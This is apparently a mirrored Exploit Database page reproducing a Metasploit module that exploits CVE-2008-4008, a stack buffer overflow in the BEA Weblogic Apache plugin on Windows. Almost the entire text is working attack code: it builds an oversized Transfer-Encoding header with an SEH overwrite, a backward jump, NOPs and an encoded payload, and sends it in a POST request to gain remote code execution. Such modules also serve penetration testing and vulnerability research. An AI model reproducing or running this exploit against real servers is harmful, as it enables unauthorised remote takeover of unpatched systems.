BEA Weblogic – Transfer-Encoding Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-07-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16796/

• ##
  # $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /Apache/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow in the BEA
  				Weblogic Apache plugin.This vulnerability exists in the
  				error reporting for unknown Transfer-Encoding headers.
  				You may have to run this twice due to timing issues with handlers.
  			},
  			'Author' => 'pusscat',
  			'Version'=> '$Revision: 9744 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-4008' ],
  					[ 'OSVDB', '49283' ],
  					[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Privileged' => true,
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0d\x0a",
  					'StackAdjustment' => -1500,
  				},
  			'Targets'=>
  				[
  					['Windows Apache 2.2 version Universal',
  						{
  							'Ret' => 0x1001f4d6,#pop/pop/ret
  						}
  					],
  				],
  			'DisclosureDate' => 'Sept 09 2008',
  			'DefaultTarget'=> 0))
  	end
  
  	def exploit
  
  		sploit = rand_text_alphanumeric(5800)
  		sploit[5781, 8] = generate_seh_record(target.ret)
  		# Jump backward to the payload
  		sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
  		sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded
  
  		datastore['VHOST'] = 'localhost'
  		send_request_cgi(
  			{
  				'method'=> 'POST',
  				'url' => '/index.jsp',
  				'data'=> '',
  				'headers' =>
  					{
  						'Transfer-Encoding' => sploit
  					}
  			})
  
  		handler
  
  	end
  
  end